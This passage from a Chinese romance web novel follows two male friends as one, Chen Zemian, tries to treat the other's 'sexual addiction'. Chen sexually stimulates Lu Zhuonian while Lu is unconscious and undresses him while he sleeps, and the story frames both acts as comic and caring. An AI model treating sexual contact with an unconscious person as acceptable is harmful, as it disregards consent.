收拾得精精神神才肯见人,现在讲的这些话,与其说是在与他划清界限,不如说是在朋友面前强撑着游刃有余的场面,不想让人窥见他的狼狈和难堪。 他不能因为陆灼年看起来泰然自若、从容不迫,就忘了人家还在生病,正是最需要朋友安慰陪伴的时候。 都怪陆灼年太能装了!只是睡了一觉的工夫,这个人就好像恢复了正常。当然只是好像而已。陆灼年表面上清风朗月、若无其事地站在那儿,但衣服下面的肌肉却是极其紧绷的状态。陈则眠伸手探了探他额头温度。体温降下来了,但还是有点烧,而且额角还有一层细细密密的冷汗。欲盖弥彰,虚张声势,都病成这样了还在装!这个陆灼年,又在通过隐藏行为来掩盖病症,差点把他骗过去。要想弄清楚陆灼年的想法什么本就不易,况且还是生了病的陆灼年。人在生病的时候情绪就是很奇怪,特别容易变得莫名其妙。陈则眠甚至无法共情生病时的自己! 他低血糖并且误服了一颗帕罗西汀的那次,情绪就异常低落,一会儿自怨自艾,一会儿伤春悲秋的,跟个精神病一样,讲了很多奇奇怪怪的话,思考的方式也和正常时候有很大差异。 那现在陆灼年的情绪,又该是什么样子的呢? 陈则眠努力站在陆灼年的角度思考问题。 生病之人大多敏感多疑,或许他自以为的关心和问询,在陆灼年眼中是一种追究和诘问。 陆灼年此时自顾尚且难暇,想必更无余力处理转圜人际关系,他摸不清陈则眠对这件事的态度,又过分自尊自傲,他不想从别人嘴里听到那些析疑刺耳的话,于是就主动先发制人,免得旁人指摘。 想到这儿,陈则眠缓下脸色,连语气都温和了许多。 “我没有别的意思。” 陈则眠轻轻握住陆灼年手腕,用增加肢体的方式,最直截了当地表达善意,证明自己根本不在乎他是患有性,瘾还是其他的病症。 “问你生病的事,也是看看能不能有的方法让你不这么难受,如果你不想回答,我就不问了。” 陆灼年手指无意识地痉挛了一下。 他没想到向来有气就撒的陈则眠,竟然在这么短的时间内就压住情绪,反过来安慰他。 更没有想到他对陈则眠表现种种异常的[不问],有一天会回馈到他自己身上。 他不问陈则眠从哪里来的,陈则眠也不问他怎么病的。 兴则高歌困则眠。 或许陈则眠是真的不在乎这些。 陆灼年眼神略微下移,落在陈则眠握着自己的手上,也缓和了态 度,并讲了个并不怎么好笑的笑话缓解气氛:“如果我是你,就不会在性.瘾犯病的时候随便碰他。”陈则眠却笑了笑,不仅get到了笑点,甚至还讲了个更好笑的笑话:“我也觉得你不会在性.瘾犯病的时候碰自己。” 陆灼年紧绷的后背悄然放松。 陈则眠又轻轻握了握陆灼年手腕,仿佛是无声地支持陆灼年:“我问你病症的情况真没有别的意思,就是想告诉你,如果你想谈这件事,可以随时找我聊,我保证不会和任何人泄露咱们谈话的内容。" 陆灼年眼睫动了动,反手握住陈则眠的手腕,说:“可以,你想问什么、说什么都可以。” 陈则眠观察着陆灼年的神色,小心翼翼地问:“那我能说说我的看法吗?” 陆灼年看向陈则眠,点了点头。 得到陆灼年信任的感觉非常好,陈则眠也不知自己为何有些高兴,推着陆灼年往楼下走:“走走走,我煮了茶水,边喝边聊。” 客厅里,陆灼年垂眸茶杯:“你想说什么,说吧。” 陈则眠开门见山;“你睡着的时候,我在医院挂了个线上专家号问诊。” 陆灼年应了一声,心不在焉地问:“医生怎么说?” 陈则眠把消炎药推给陆灼年:“医生说,你发高烧可能是因为长时间不排.精引发的无菌性炎症。” 陆灼年拿起消炎药拆开:"我会按时吃。" 陈则眠按住陆灼年拆药的手,说出的话有点烫嘴似的结巴:“其实……消炎只是一方面,最主要的问题是,你得排一下你懂吧,就是长时间不释放,很 影响健康的。”类似的话,陆灼年已经听很多医生讲过很多了。 陆灼年点点头,说:“我明白你的意思。” 陈则眠闻言如蒙大赦,立刻抽出几张纸巾塞到陆灼年手里,催促道:“所以你快去排一下吧。” 陆灼年看着手里的纸巾,突然笑了笑:"你介意听听我的想法吗?" 陈则眠正襟危坐:“当然不介意。” 陆灼年用语很直白:“我没有办法自.慰。” 陈则眠呆了呆:“啥?” 陆灼年语气公事公办,态度冷静日宛如在讲别人的事情:“我排斥这种不正常的性.冲动,已经习惯了克制欲.望,只有在完全失去理智时,才会在欲.望支配下抚慰自己,结束后又不可避免的自责自厌。” 陈则眠:"那清醒的时候呢?" 陆灼年淡淡道:“清醒的时候更不会碰自己,那让我觉得非常恶心。” 听到陆灼年这么说,陈则眠不仅不意外,反而有种本该如此的感觉。 别人患了性.瘾可能会放纵沉沦,但陆灼年没有这样做,他内心里有一套不同于常人的逻辑,习惯于隐忍节制,用严格到近乎崇高的道德标准要求自己,尤其是在这件事上。 陈则眠微不可察地皱了下鼻子:“我就猜到你会这么说。”陆灼年从锡纸板中按出两粒消炎药:“所以我还是吃药吧。”陈则眠挠了挠下巴:"可是总这样的话,会影响性.功能的。" 陆灼年握着药的手指微微蜷起,无所谓道:“影响就影响吧,又用不上。” 陈则眠再一次按住陆灼年的手:“话不能这样说,你现在没有女朋友,以后也都不找吗?” 陆灼年转眸看向陈则眠:"我不会找女朋友。" 陈则眠又呆了一下:“啊?为什么?” 陆灼年说:“因为雄性与雌性的力量差异天然存在。” 陈则眠不解地歪了歪头,有点不明白陆灼年的意思。 陆灼年进一步解释:“如果对方是异性,我将拥有绝对的力量来支配对方身体,可是我有病,比正常人更容易在这件事情上被兽.欲操纵。”陈则眠瞬间明白陆灼年的意思,瞳孔轻轻收缩:“你是怕……怕你自己失控,伤害到‘她’。” 陆灼年微微颔首表示认同: "无论她是否自愿开始,当情况脱离掌控,在绝对力量的压制下,她必然将失去反抗与叫停权利,这是犯罪。"没有什么欲拒还迎、半推半就的说法。 不要就是不要。 哪怕已经开始了,双方也都有随时叫停的权利。 陆灼年继续道:“在自然界中,只有野兽才会咬着雌性的脖颈强行完成交配。人之所以为人,总该有点和动物不一样的地方吧。” 听到陆灼年说出这个理论的刹那,陈则眠佛在对方身上看到了超越某种境界的伟大神性。 这就是小说主角吗? 他看向陆灼年的眼神,已经不能用钦佩来形容。 陈则眠不知该说些什么,语无伦次道:"陆灼年,你真是……真是个好人,你值得你所拥有这一切,是克己复礼的模范,简直快成神了!" “我也有很多龌龊的想法,只是不会讲给你听罢了,”陆灼年有点不自在地移开视线:“总之我不会找女朋友,也没有传宗接代的想法,吃再多药都没问题。”陈则眠可不认为[吃再多药都没问题]。 吃药吃多了问题大了! 由于长期禁.欲,陆灼年体内已经存在无菌性炎症了,这次就算吃药消炎也是暂时缓解,也是治标不治本。 问题的根源没有解决,用不了多久就又会来势汹汹地发起来,而且听医生的意思,恐怕会一次比一次严重。 那还有什么办法能纾解一下呢? 陈则眠灵机一动,说:“哎呀,现在都什么时代了,谁说一定要找女朋友才行。” 陆灼年洗耳恭听:“你还有什么主意?” 眼前的困难根本难不倒陈则眠,他起身跑向餐厅,拿了个什么东西又很快跑回来,背着手站在陆灼年面前。 陆灼年看着他:“取什么去了?” 陈则眠抬起手,握着一个类似保温杯的东西说:“这是我给你买的飞机杯!” 陆灼年:“……” 陈则眠献宝将飞机杯捧到陆灼年面前,介绍道:“看!超长伸缩,玩法更多!” 陆灼年英俊的眉梢陡然蹙起,厌恶地往后靠了靠:“不要,脏。” 陈则眠说:“新的,我消过毒了。” 陆灼年三连拒绝:“不要,拿走,你自己玩吧。” 见陆灼年不仅毫无兴趣,反而像看到了脏东西,陈则眠只好把飞机杯扔在一边,重新坐回椅子上继续冥思苦想。 他单手撑着头,发现事情要比想象中难办多了。 难道就只能吃药了吗? 可消炎药属于抗生素,经常服用抗生素对免疫力系统损伤极大,更别说陆灼年还在吃副作用更大的帕罗西汀。 他把帕罗西汀当抑制剂吃,吃久了万一真出什么问题,再治可就麻烦了。 但陆灼年又不愿意排解欲.望。 抚慰自己觉得恶心,找女朋友会有罪恶感,用飞机杯还觉得脏,这还真是进退两难。难怪以陆灼年家里的条件,他却病了这么久都没有痊愈。 太难了,太难了! “这也不行,那也不行,”陈则眠手指无意识地轻敲桌面,发愁道:“这可怎么办啊。”陆灼年微微颔首,似是十分赞同,也束手无策,苦恼没有合适的方法解决。他目不转睛地看着陈则眠,缓声慢慢重复了一遍:“是啊,怎么办呢?陈则眠。” "你可以找个男人啊!" 59、第59章... “你可以找个男人!” 陈则眠像是终于做出了一道难解的数学大题,万分激动道: “找个男人,找个强壮的男人,这样你俩那啥的时候,就算你犯病了大脑被兽欲支配,他也是想停就停,拥有反抗你的能力。” 陆灼年"……" 陈则眠一看陆灼年无语的眼神,就知道他又有意见:“咋的,女的不行,男的也不行,你想干啥?” 陆灼年面无表情:“我想干你。” 陈则眠大脑空白一瞬,怔了怔:“我吗?” 陆灼年没说话,优雅矜贵地端起茶杯,垂眸抿了一口。 陈则眠扒着桌子,探身凑向陆灼年,小心翼翼地问:“你说的那个‘干'',是我理解的那个‘干''吗?” 陆灼年好整以暇,反客为主: "我怎么知道你理解的是哪个?" 陈则眠说:“你是因为我刚才说了抽象的话想干我,还是因为想干我而想干我。” 陆灼年看了陈则眠一眼:“说人话。” 陈则眠第一次觉得中文真难用,但好在他用超绝的语文表达能力找到了替代词:“就是你说的‘午,是‘打''的意思,还是''上’意思。”陆灼年忍不住低头轻笑。 陈则眠都该急死了,陆灼年还在那里笑,这让他觉得陆灼年是故意拿他寻开心。因为他建议陆灼年找男人,陆灼年索性就说找他;也可能是因为他俩比较熟,关系也好,陆灼年本着找谁不是找的原则,就近选择了他。 “别笑了。” 陈则眠推了陆灼年一把:“你说真的假的。”陆灼年声音含着笑:“真的。” 他越笑,陈则眠越觉得陆灼年是在逗自己玩。 但作为好兄弟,话都说到这儿了,即便是开玩笑,他也得表明自己的态度。 必须支持! 陈则眠站起身,抬手抻开卫裤的抽绳:“可以,只要能给你治病,这都是小事。” 陆灼年瞳孔猛地收缩,震惊地看着陈则眠。 陈则眠大义凛然,抓着陆灼年的手放在自己胸口上:“你想干就干吧。” 陆灼年手指微微蜷起,大脑停滞了一瞬,在极度惊愕之下,居然被陈则眠传染的开始言语错乱:“你又没有胸,把我手放在这里的意义是什么呢我请问。” 陈则眠抓着陆灼年的手,顺着胸口、小腹继续往下放。 就在碰到关键部位的前一秒,陆灼年突然回过神,像是被电打了下似的猛地抽回手。 “你疯了?!陈则眠!”陆灼年低斥一声。 陈则眠早有预料,摇晃着抽绳仰天大笑:“哈哈哈哈哈,陆灼年,我就知道你是在拿我寻开心,你说你这么要脸的一个人,拿什么跟我比抽象,我现在就敢脱裤子,你敢吗?” 陆灼年简直服了,服得五体投地。 他甘拜下风:“我不敢。” 在查到陈则眠父亲的信息之前,陆灼年已经决定不再止步于朋友,想要和陈则眠更进一步。 习惯影响也好,潜移默化也罢。 他一定得到陈则眠,无论用什么方法。 可现在,陆灼年又犹豫了。 倘若不越红线,陆灼年可以和陈则眠做一辈子兄弟,罩着他护着他,为他添砖铺路,助他平步青云,再看他娶妻生子、儿孙满堂。 可倘若越过雷池,以陆灼年对自己的了解,他是无论如何都不可能再放手。 他会紧紧把陈则眠抓在手里,甚至不惜做出见不到光的事情。 陆灼年有能力让陈则眠只属于自己一个人,像守护稀世珍宝那般,把他放在绝对安全的地方,不让任何人觊觎,也不让任何人触碰。 陈则眠总是很好哄的,只要满足他的所有需求,再好吃好喝的伺候着,就很容易能把人哄得离不开自己。 现在已经初见成效。 陈则眠会在知道他生病以后,凌晨五点坐红眼航班来看他,会在他说出需要你的时候,毫不犹疑地解开裤子的抽绳。抽象归抽象,但陆灼年知道,就算他真的顺势对陈则眠做了什么,陈则眠也不会生他的气。 明明就差一层窗户纸了。 却偏偏在这个时候,查出了陈轻羽的身份。 关键要素的突然介入,打乱了全盘计划。 陆灼年还没有想好该怎么办,也没有想好该如何和陈则眠说他父亲的事,自己就先病倒了。这次的病来势汹汹,症状比以往都要猛烈。 只是下楼坐着和陈则眠说了会儿话,他后背就出了一层冷汗,眼前光斑闪烁,头晕目眩。 本就是强撑精神着和陈则眠说话,偏偏陈则眠还特别擅长说那让人眼前一黑的话。 陈则眠把飞机杯又摆回陆灼年面前:“你再憋就憋坏了,今天你是想排也得排,不想排也得排,你是自己动手,还是用飞机杯?” 这两个选项对陆灼年来说都不大容易,但他知道如果自己不作出选择,陈则眠肯定还有后招。 因为陈则眠真的是太抽象了。 陆灼年站起身,也不知是被陈则眠气的,还是大脑供血不足,起身瞬间天旋地转,扶了下桌子才站稳。 陈则眠的声音似近似远:“你咋了?”陆灼年刚想说没事,视力却逐渐模糊。 紧接着,他就什么都不知道了。 陈则眠一把接住软倒的陆灼年,焦急道:“陆灼年,陆灼年,你醒醒!” 陆灼年没有任何反应。 失去意识的人身体特别沉,陈则眠抱不动他,只能让人先倚在自己身上,伸手去够桌子上的手机。 陈则眠先打了120急救中心的电话,报了位置以后,又给叶宸打了个电话。 叶宸很冷静:“灼年的病不好让外人知道,我现在立刻派私人医生过去。” 陈则眠问:“大约多久?” 叶宸说:“最多十五分钟。” 陈则眠看了眼表:“好像急救中心更快一点。” “不要叫急救中心,这件事知道的人少越好,"叶宸对陆灼年的病症还算了解,毕竟这么多年来,这种情况也不是第一次了,他想了想,对陈则眠说:“你别着急,他没什么事,就是憋的。” 陈则眠一听叶宸这话,总算是找到了一个可以交流沟通的人:“医生是这么说的,但陆灼年事太多了。” 聪明人之间交谈,说都不用说得太清楚,这一来一回几句话,双方都知道对方了解陆灼年的状况了。 叶宸略感惊讶:“他居然跟你说了。” 陈则眠说:“是啊,他这也不行,那也不行的,我正在给他推荐飞机杯,他就忽然晕倒了。” 叶宸语调平淡:“这不正是个好机会。” 陈则眠陡然一惊:“你是说?” 叶宸:“我什么都没说。” 陈则眠看了眼飞机杯,又看了眼陆灼年,胆战心惊地说:“他醒了以后会杀了我吧。” 叶宸:“医生还有十二分钟到,挂了。” 和叶宸的通话虽然挂断了,但叶宸邪恶的声音仍回荡在陈则眠脑海中。 [这不正是个好机会?][医生还有十二分钟到。] 十二分钟呢,应该来得及吧。 陈则眠咽了下口水,伸手把桌子上的‘保温杯’拿了下来。醒着的时候这不行那不行的,晕倒了就没得挑了吧。 陈则眠左右看了看,明明周围没有其他人,却仍耐不住他自己做贼心虚,心脏跳得飞快。 他又叫了陆灼年两声,见对方毫无反应,大着胆子把手一伸。 摸到的瞬间,陈则眠倒吸了一口凉气。 我的天,不愧是男频男主,这也太雄傲了! 陈则眠看了眼‘保温杯′,不禁怀疑它能否盛得下全盛时期的陆灼年。 现在属于半盛。半醒的巨蟒蛰伏在黑暗中。 陈则眠心跳如雷,直接掏出巨蟒,准备将它放入保温杯中获取毒液。尚未苏醒的蟒蛇很难放入保温杯,陈则眠只能手动唤醒巨蟒。 作为一名单身二十七年的资深养蛇人,在对付蟒蛇方面,陈则眠还是有一些经验和技巧的。 巨蟒很快苏醒了。 但它身形实在太过恐怖,事先准备好的保温杯居然盛放不下。 陈则眠硬往里怼了两下没怼进去,只能恨恨放弃。 他没有时间后悔保温杯买小了。 时间紧,任务重。 事已至此,一不作二不休。乐于助人是传统美德。 在践行美德的过程中,随着时间加长,陈则眠从刚开始面红耳赤、做贼心虚,到后来机械动作、大脑放空。 这也太久了吧! 该放弃的时候不放弃,就很容易越陷越深。 在三分钟的时候,手腕就有些发酸,但他总想着快了快了,就此一步步踏上无法回头的路。 第五分钟:这回真应该快了吧,第八分钟,都已经坚持这么久了,现在松手岂不是前功尽弃? 到了第十分钟,陈则眠已经无聊到开始数陆灼年的睫毛了。 陆灼年睫毛很长,是鸦青色的。 他靠在陈则眠身上,凌厉的眉峰紧紧蹙起,纵然紧闭双眼也依旧气势惊人,脸颊苍白显出几分少见的脆弱,鼻尖额角渗出一层细汗。即便昏迷状态下,身体的反应也还在,他胸膛起伏不定,脖颈发红,鼻息粗重,偶尔会闷哼一声,眼皮也跟着轻轻颤抖。 像一个大型的、英俊的洋娃娃。等到十一分钟的时候,陈则眠已经准备放弃。医生快来了。就在陈则眠打算放手的前一秒,巨蟒忽然跳动几下。 有戏了! 陈则眠一边继续努力,一边伸手去够桌子上的纸巾盒。 就在手指碰到纸巾盒的同时,另一只手掌心忽然感到一阵黏热。 不要哇,这样会弄得到处都是的!!! 再等一秒,拜托拜托。 陈则眠抓着纸巾回过身,正对上一双幽暗黑沉的眼眸。 60、第60章... 看着陆灼年黑沉的双眼,陈则眠心跳都停了一瞬。 陆灼年居然醒了!!!怎么偏偏这时候醒了!我死定了,我完了,我被抓现行了。和陆灼年对视的刹那,陈则眠甚至已经想好了遗言。陆灼年注视着他,开口吐出一个字:“纸。”陈则眠倏然回神,赶紧把纸巾递过去。陆灼年用一种难以形容的、很厌恶的眼神,冷眼看着粘稠淡黄的液体在纸面晕开。石榴花的气味在空气中弥漫。陆灼年面寒如铁,眉梢蹙得更紧。 陈则眠很担心陆灼年一怒之下大发雷霆,直接把那玩意摔自己脸上,赶紧从对方手里拿过脏 污的纸巾,用干净的纸卷好,拿到卫生间扔进马桶里冲走了。 然后,他打开水龙头,残忍地冲掉陆灼年的子子孙孙,又有洗手液洗了好几遍手。 洗完手,陈则眠打开窗户。 寒冽的风吹进来,很快吹散了空气中的气味。客厅里,陆灼年已经整理好了衣服,但脸色还是非常难看。不是生气或者愤怒的那种难看,而是苍白脆弱、带着点厌世和想死的那种难看。 短暂的爽快过后,随之而来的是强烈的失控感。陆灼年开始了自我批判。 他因沉溺快感而内疚惭愧,更加厌弃自己的不受控制,却又食髓知味般,一看到陈则眠就忍不住想入非非。 旖旎念头在脑海闪过之后,他又为会那些不该产生的肮脏念头继续谴责自己。 陈则眠问诊时就曾听医生提起过,性.瘾患者很容易陷入‘渴望-行为-后悔’的循环。但真见到陆灼年这样,还他是有点手足无措。陈则眠走过去,还没说话,门铃突然响了。陆灼年眼珠转向门口,如同被惊扰的野兽,眉眼间划过一丝凶狠的凌厉。“是医生,你刚才晕倒了。”陈则眠小心翼翼地说。陆灼年声音嘶哑,冷酷地拒绝任何帮助:“让他走。”陈则眠很担忧地看了陆灼年一眼,随即走向玄关打开门,客气地将医生请走了。回来的时候,陆灼年还坐在地上。陈则眠预感到自己可能真的惹了大祸,诚惶诚恐地走过去道歉:“陆灼年,我……”陆灼年伸手握住了陈则眠胳膊,示意他什么都不用说了。 于是陈则眠就没再说话,只握着陆灼年的手,安静地坐在一旁,抽出酒精湿巾给他擦手。 陈则眠擦得很仔细,专注地犹如在擦拭那些精密的枪械,每一根手指都认认真真擦了两遍,连指缝都没有放过,擦完还低头闻了闻,确认没有半点异味,才把那些用过的湿巾收在一起,装进了垃圾袋。 陆灼年放任自流般没在做任何挣扎,只垂眸看着陈则眠动作,手指偶尔会痉挛性的一抽。 在陈则眠系紧垃圾袋之前,陆灼年找了个角度,把飞机杯扔了进去。 陈则眠忍不住笑了一声。陆灼年冷冷道:“你还有脸笑。”陈则眠嬉皮笑脸的:“你为啥要把它扔了啊,还能用呢。”陆灼年露出一种特别嫌弃的表情,勉为其难的吐出一个字:“脏。”陈则眠说:“不脏,我纯手动的。” 陆灼年喉结不自觉滚了滚,转眸向陈则眠看去。 陈则眠完全没有注意到陆灼年充满侵略性的眼神,还没心没肺道:“本来是想用那个的,但你太大了,没放进去。” 陆灼年定了定神,告诉自己不要去想象那些细节,刻意将注意力转移其他地方。 他又瞥了陈则眠一眼:“放不进去你就硬塞?” 陈则眠发现放不进去的时候,确实是硬往里面怼了两下,但关于这点是打死也不能认的,故心虚反驳说:“没,没塞啊,你凭什么说我硬塞了。”陆灼年眉梢皱了皱:“疼。” 陈则眠偷偷往陆灼年身下瞄:“哪儿疼?” 陆灼年面无表情:“头疼。” 听到这两个字,陈则眠忽然想到陆灼年被下药那一晚,忍笑又问了一遍与当初相同的问题—— “哪个头?” 陆灼年这次倒是回答了:“都疼。” 陈则眠直了直身,抬手按向陆灼年太阳穴:“那我给你揉揉。” 看到陈则眠的手伸过来,陆灼年下意识偏头避开:“你洗手了吗?” “肯定洗了!”陈则眠炸毛道:“不然留在我手上下崽吗?” 由于长期胡作非为,陈则眠在陆灼年这里早已刷光了信誉值。 陆灼年不信陈则眠的话,抓过他的手仔细检查了一番,还勉强垂下高贵的头颅,骄矜地闻了闻。 陈则眠双手干净、指甲整洁,上面残留着淡淡的柠檬清香。是洗手液的味道,看来确实是洗了手没错。确定没有半分问题后,陆大少没有再提出反对意见。陈则眠给他揉了会儿太阳穴,问他:“好点了吗?”陆灼年疲倦地阖着眼:“还是都很疼。” 这个‘都’字非常灵性。 陈则眠实在没忍住,很不地道地笑了几声,又一本正经地说:“你这是憋太久了,多纾解几次就不痛了。” 陆灼年张开眼:“怎么纾解?” 陈则眠提出建议:“再买个大点的飞机杯?” 陆灼年矜贵地吐出两个字拒绝: "不要。" “那我帮你总可以了吧,”陈则眠突然凑到陆灼年耳边,低声问:“我手法是不是很绝?”陆灼年往后躲了躲。 陈则眠又问:“你当时啥感觉?”陆灼年突然抬眸看过来,用一种难以形容的眼神看着他说:“陈则眠,你就折磨我吧。” 陈则眠无辜道:“我咋折磨你了。” 陆灼年轻笑一声:“你就是知道我拿你没办法,有恃无恐,什么事都敢做,根本不考虑后果。” 陈则眠诧异道:“怎么,你自己纾解恶心,我碰你也恶心吗?” 陆灼年:“不会。” 陈则眠有点好奇:“那你现在到底啥感觉。” 陆灼年说:“很爽。” 陈则眠勃然大怒,气得一拳怼在陆灼年胸口:“爽你还一直冷着脸,怪我自作主张。”陆灼年按住陈则眠的手,轻轻握了握:“我不是在怪你,我很自责,因为我的问题影响到了你。” 陈则眠安慰道:“不要在意这些,你只是病了,人在生病的时候就是会比较容易胡思乱想,你又没做错什么,不要过分苛责自己。”道理陆灼年听过很多,但他还是无法脱离那种自厌的情绪。 他觉得很对不起陈则眠。 陈则眠把他当作最好的朋友,信任他、帮助他,可以为他做到这个地步,可他现在脑子里想的却是怎么把陈则眠按在地上,做尽下流肮脏之事。他控制不住自己不去想这些。 陆灼年是期待他们的关系向着更亲密发展的,但不是以这种方式。 突然暴露的隐疾、无法克制的欲望、陈则眠的好心与同情、善意的帮助和虚伪的欺骗。 他不想要陈则眠的同情。 这是陆灼年最不能接受的,比陈则眠的拒绝还要令他无地自容。 不光仅仅是自尊与骄傲作祟,更关键的是—— 当陈则眠在思考该如何给他治病,甚至愿意用自己帮助他的时候,陆灼年却在犹豫要不要趁机把陈则眠带上床。 他太低劣了。 而且某种陆灼年本人也说不清的原因,直到此刻,自己也没有和陈则眠提起他父亲的事。 这明明才是陈则眠最在意的东西。 陆灼年的理性一直在试图纠正他的行为—— 他现在应该忘掉一切不该想的东西,并明确拒绝陈则眠的帮助,并向其表示感谢,然后把陈轻羽的资料交给陈则眠,让陈则眠离开这里,自己像往常几次发病一样,回到楼上卧室冷静,等身体和精神都恢复正常再出来。 所有的安排都井井有条。他明明知道怎么做是正确的、得体的、妥帖的,却没有这样做。陆灼年不仅放任事情向着错误方向发展,甚至还想推波助澜,一错再错。他现在只想和陈则眠睡觉。能控制住自己不把陈则眠往楼上拖,就已经耗尽了他引以为傲的自制力。陈则眠根本不用陆灼年把他往楼上拖。等陆灼年回卧室的时候,他自己就跟上去了。 陆灼年都病成这样了,还是坚持非要洗澡,陈则眠怕他忽然晕在浴室里,就搬了个小板凳坐在浴室门口等他,顺便点了份外卖给两个人吃。 考虑到陆灼年正在养病,就没有点太油腻的,点了碗清汤素面,并着几道爽口小菜,半塞半哄地看着陆灼年吃了小半碗。 吃完饭又给陆灼年量了一次体温,这次温度明显下降,已经降到了37.8。 陈则眠得意忘形,晃荡着体温计跟陆灼年显摆:“你看看,还是纾解一下有用吧。” 陆灼年没接茬,只是说:“我再睡一会儿,你也回隔壁休息吧。” 陈则眠说:"我在这边陪你,等你睡着,我也找个地方睡觉。" 陆灼年沉默几秒:“不要再乱来了。” 陈则眠视线不自觉向下瞥了一眼:“还疼呢?” 陆灼年小腹微微发紧,抬手虚挡着陈则眠眼睛:“别乱看。” 陈则眠轻笑一声:“你是不是又….” 陆灼年又把陈则眠的嘴捂上,扳着他肩膀把人推出卧室。 陈则眠不知死活地说:“还要我再帮你吗,这次我轻一点。” 陆灼年喉咙滚了滚,哑声道:“你能闭嘴吗?” 陈则眠背对着陆灼年,瞧不到陆灼年晦暗危险的眼神,还不甚在意地说:“你脸皮也太薄了,兄弟之间互帮互助很正常的。” 陆灼年脚步微微一顿,放在陈则眠肩膀上的手不自觉收紧:“你还帮过谁?” 陈则眠说:"那倒也确实没谁,但我们宿舍有互相帮助的。" 陆灼年声音嘶哑:“是正经宿舍吗?” 陈则眠转过身:“当然正经了,我大学宿舍!” 陆灼年用很不赞成的眼神看着陈则眠:“有没有可能人家是一对,只是你不知道。” 陈则眠下意识说:“不能吧,直男和GAY我还能分不出来吗?” 陆灼年简直忍不住笑了,反问:“你能分出来吗?” 陈则眠被这么一问,当即有点不自信:“应、应该能吧。” 陆灼年把陈则眠推出卧室:“玩去吧,我睡觉了。” 陈则眠这才想到一个非常关键的问题,扒着门问陆灼年:“你是直男吧。” 陆灼年说:“我是GAY。” 陈则眠呆了呆,下意识说:“不可能。” 男频主角怎么可能是GAY呢,这不烂尾了吗? 陆灼年无力和陈则眠争论这个问题,抬手关上门:“你觉得我是什么就是什么吧。” 因为病症缘故,他排斥和人亲密接触,没喜欢过哪个女人,也没喜欢过哪个男人,但在大众普世的价值观影响下,他之前也没有考虑过自己喜欢同性的可能。性向这种东西本来就是流淌的,所以与其说陆灼年是GAY,不如说在喜欢上陈则眠之后,他选择加入了喜欢同性的序列中。 有些人发现自己对同性产生超出友情的感情后,可能会选择压抑或是逃避,但陆灼年没有,他很轻易地就接受了这个结果。 因为是陈则眠。 只能是他,也只会是他。 等到陆灼年睡下以后,陈则眠这才抽空给萧可颂和闫洛都发了消息,说自己有事回京市一趟。 他们在三亚的时候作息混乱,有时候前一天熬夜第二天起的晚,中午和下午才醒起床是常有的事情。 萧可颂甚至没发现陈则眠不见了,听说他回了京市大吃一惊,问他什么时候走的。 陈则眠已经无力谴责他了。 他现在又累又困,有种加班了三天的错觉,感觉忙活了好久,其实才过去了一个上午。 真是漫长跌宕的半天啊。 这边别墅的客房没有床品,陈则眠见陆灼年睡得沉,就抽空回隔壁洗了个澡。 洗澡时淋了水,肩膀微微刺痛,这才想起来陆灼年还给他一口。 应该不用打什么疫苗吧。 肩膀上的咬痕不深,但很明显能看出来是一圈牙印,沾水后轻微发炎,红肿发烫,蹭着棉质的衣服有点疼。 陈则眠打开衣柜,想找件质地柔软的真丝上衣穿,结果发现自己没买过这么贵的东西,就去陆灼年的衣帽间翻了一会儿,找到件真丝衬衫穿上了。 不得不说,高档丝绸贴身穿真的非常舒服,简直像牛奶一样丝滑。 陈则眠决定把这件衣服也占为己有。 回到那边以后,陈则眠又到主卧里看了一眼。 陆灼年还没有醒,由于吃了退烧药的缘故,身上发了一层汗。 可能是觉得热,陆灼年把羽绒被踢到了一边,整个人像一座端庄的尸体,规整平躺在床上,双手交握搭在腹前,再下面鼓鼓囊囊的,膨起不正常的形状。 陈则眠很担心老大的小弟弟被勒坏,好心地将它解救了出来。 裤子被脱下的时候,陆灼年隐约是醒了一瞬,看到陈则眠继续剥他的衣服,还以为自己做了什么荒唐下流的梦,又闭上眼很快昏睡过去。 陈则眠脱下陆灼年的衣服,把被给他盖好。 陆灼年浑身燥热,梦见自己落入炎火地狱,艰难地挣扎着,从被子里挣脱了出来。 光着腿不盖被的模样着实有些不雅,陈则眠赶紧又把被给陆灼年盖上了。 眼看陆灼年睡得不老实,还要往外挣,陈则眠索性侧躺在另一边的被上,还伸出胳膊把羽绒被压住。 这回陆灼年再也逃不了。 陈则眠抻了个绒毯给自己盖,枕得也恰好是他自己的枕头,往上一躺,后脑勺刚好嵌进乳胶枕中间。 非常完美。 陈则眠阖上眼,下巴窝在绒毯里,额角抵着陆灼年肩膀,没一会儿也沉沉睡去,陷入黑甜梦乡。 61、第61章... 陆灼年醒来时是傍晚。 暮色如宣纸上洇开的墨痕,正缓缓染尽天边最后一抹霞光。 他鲜少睡得这样沉,醒来后没有熟悉的尖锐头痛,反而感觉身体很轻,好似化作了一片飘然轻盈的羽毛。 四肢充斥着温软倦意,紧绷的筋脉松弛下来,仿佛舒缓解冻的河水,每一根骨节都是松快的。 这样舒服的感受,陆灼年已经很久没有尝试过了。睁开眼刹那,他还以为自己仍在梦中。陆灼年看着窗外云层,静静缓了会儿神。夜来得很快,橘红晚霞转瞬即逝,云彩渐渐褪成鸽羽色的灰蓝。街边路灯在暮色中同时亮起。很有逻辑的景象,应该不是梦。 陆灼年动了动,刚想起身,却发现有些不对劲—— 裤子不知道哪里去了,羽绒被也神奇的消失了,腰腹间只有张团在一起的绒毯。就好像有谁把他的羽绒被换走后,随手把作为交换的绒毯扔到了他身上。这种霸道强横的强盗做派,除了陈则眠以外,陆灼年想不出第二个人选。陆灼年侧过身,看到了自己身边躺着的这个人。果然是陈则眠。 陈则眠背对着他,胳膊紧紧抱住羽绒被,可能是因为热,整条腿压在被上,脸却埋在被里,闷得面颊连着脖颈一片绯红。陆灼年掀开羽绒被角,从被子里找到了自己失踪的睡裤,顺便解救出了那张潮红湿润的脸。被子掀开的瞬间,陈则眠像是终于能喘上来气,长长吸了一大口气。陆灼年觉得好笑,拿过枕边的裤子,掀开绒毯前瞥了眼陈则眠,又把被子盖了回去,遮住了他的眼睛。陈则眠立刻不满地哼唧一声,在睡梦中动了下脑袋,极努力地想从被子里拱出来。 未果。 陆灼年眼中满是笑意,整理好衣服后,又帮他把被子掀开了。 陈则眠迷迷糊糊地伸出胳膊,把被往身下拢了拢。 他穿着件宽松的银灰丝绸衬衫,领口斜歪着,隐约能瞧见半个渗血的牙印,袖口的扣子没有系,松松垮垮地露出大半截手臂。 绸缎本就易皱,陈则眠又穿着它睡了一觉,整件衣服皱皱巴巴的全是褶,和挂在衣帽间里时判若两衣。 